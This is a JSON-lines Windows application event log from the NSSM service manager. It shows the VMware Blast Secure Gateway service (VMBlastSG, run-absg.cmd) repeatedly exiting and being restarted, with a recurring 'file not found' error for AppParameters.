{"@timestamp":1646649818879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155246}}
{"@timestamp":1646649818880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155247}}
{"@timestamp":1646649818881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155248}}
{"@timestamp":1646649947598,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155249}}
{"@timestamp":1646649947598,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155250}}
{"@timestamp":1646649947599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151028","0"]}}},"module":"Application","provider":"nssm","sequence":155251}}
{"@timestamp":1646649947599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151028","151028","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155252}}
{"@timestamp":1646649947614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155253}}
{"@timestamp":1646649947614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155254}}
{"@timestamp":1646649947615,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155255}}
{"@timestamp":1646649947616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155256}}
{"@timestamp":1646650076113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155257}}
{"@timestamp":1646650076114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155258}}
{"@timestamp":1646650076116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150356","0"]}}},"module":"Application","provider":"nssm","sequence":155259}}
{"@timestamp":1646650076117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150356","150356","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155260}}
{"@timestamp":1646650076134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155261}}
{"@timestamp":1646650076135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155262}}
{"@timestamp":1646650076135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155263}}
{"@timestamp":1646650076136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155264}}
{"@timestamp":1646650204629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155265}}
{"@timestamp":1646650204630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155266}}
{"@timestamp":1646650204630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151904","0"]}}},"module":"Application","provider":"nssm","sequence":155267}}
{"@timestamp":1646650204631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151904","151904","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155268}}
{"@timestamp":1646650204646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155269}}
{"@timestamp":1646650204647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155270}}
{"@timestamp":1646650204648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155271}}
{"@timestamp":1646650204648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155272}}
{"@timestamp":1646650333140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155273}}
{"@timestamp":1646650333140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155274}}
{"@timestamp":1646650333141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150884","0"]}}},"module":"Application","provider":"nssm","sequence":155275}}
{"@timestamp":1646650333142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150884","150884","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155276}}
{"@timestamp":1646650333158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155277}}
{"@timestamp":1646650333158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155278}}
{"@timestamp":1646650333159,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155279}}
{"@timestamp":1646650333160,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155280}}
{"@timestamp":1646650461666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155281}}
{"@timestamp":1646650461667,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155282}}
{"@timestamp":1646650461667,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148412","0"]}}},"module":"Application","provider":"nssm","sequence":155283}}
{"@timestamp":1646650461668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148412","148412","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155284}}
{"@timestamp":1646650461686,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155285}}
{"@timestamp":1646650461686,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155286}}
{"@timestamp":1646650461687,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155287}}
{"@timestamp":1646650461688,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155288}}
{"@timestamp":1646650590339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155289}}
{"@timestamp":1646650590340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155290}}
{"@timestamp":1646650590340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151956","0"]}}},"module":"Application","provider":"nssm","sequence":155291}}
{"@timestamp":1646650590340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151956","151956","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155292}}
{"@timestamp":1646650590358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155293}}
{"@timestamp":1646650590358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155294}}
{"@timestamp":1646650590359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155295}}
{"@timestamp":1646650590360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155296}}
{"@timestamp":1646650719026,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155297}}
{"@timestamp":1646650719027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155298}}
{"@timestamp":1646650719027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149316","0"]}}},"module":"Application","provider":"nssm","sequence":155299}}
{"@timestamp":1646650719028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149316","149316","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155300}}
{"@timestamp":1646650719043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155301}}
{"@timestamp":1646650719044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155302}}
{"@timestamp":1646650719044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155303}}
{"@timestamp":1646650719045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155304}}
{"@timestamp":1646650847579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155305}}
{"@timestamp":1646650847579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155306}}
{"@timestamp":1646650847579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152024","0"]}}},"module":"Application","provider":"nssm","sequence":155307}}
{"@timestamp":1646650847581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152024","152024","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155308}}
{"@timestamp":1646650847596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155309}}
{"@timestamp":1646650847597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155310}}
{"@timestamp":1646650847597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155311}}
{"@timestamp":1646650847598,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155312}}
{"@timestamp":1646650976118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155313}}
{"@timestamp":1646650976118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155314}}
{"@timestamp":1646650976119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150184","0"]}}},"module":"Application","provider":"nssm","sequence":155315}}
{"@timestamp":1646650976119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150184","150184","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155316}}
{"@timestamp":1646650976135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155317}}
{"@timestamp":1646650976135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155318}}
{"@timestamp":1646650976136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155319}}
{"@timestamp":1646650976137,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155320}}
{"@timestamp":1646651104646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155321}}
{"@timestamp":1646651104647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155322}}
{"@timestamp":1646651104647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","128044","0"]}}},"module":"Application","provider":"nssm","sequence":155323}}
{"@timestamp":1646651104647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["128044","128044","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155324}}
{"@timestamp":1646651104663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155325}}
{"@timestamp":1646651104663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155326}}
{"@timestamp":1646651104664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155327}}
{"@timestamp":1646651104665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155328}}
{"@timestamp":1646651233176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155329}}
{"@timestamp":1646651233177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155330}}
{"@timestamp":1646651233177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152100","0"]}}},"module":"Application","provider":"nssm","sequence":155331}}
{"@timestamp":1646651233178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152100","152100","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155332}}
{"@timestamp":1646651233194,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155333}}
{"@timestamp":1646651233195,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155334}}
{"@timestamp":1646651233195,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155335}}
{"@timestamp":1646651233196,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155336}}
{"@timestamp":1646651361745,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155337}}
{"@timestamp":1646651361746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155338}}
{"@timestamp":1646651361746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152532","0"]}}},"module":"Application","provider":"nssm","sequence":155339}}
{"@timestamp":1646651361747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152532","152532","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155340}}
{"@timestamp":1646651361763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155341}}
{"@timestamp":1646651361763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155342}}
{"@timestamp":1646651361764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155343}}
{"@timestamp":1646651361765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155344}}
{"@timestamp":1646651490278,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155345}}
{"@timestamp":1646651490278,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155346}}
{"@timestamp":1646651490279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151820","0"]}}},"module":"Application","provider":"nssm","sequence":155347}}
{"@timestamp":1646651490280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151820","151820","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155348}}
{"@timestamp":1646651490299,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155349}}
{"@timestamp":1646651490300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155350}}
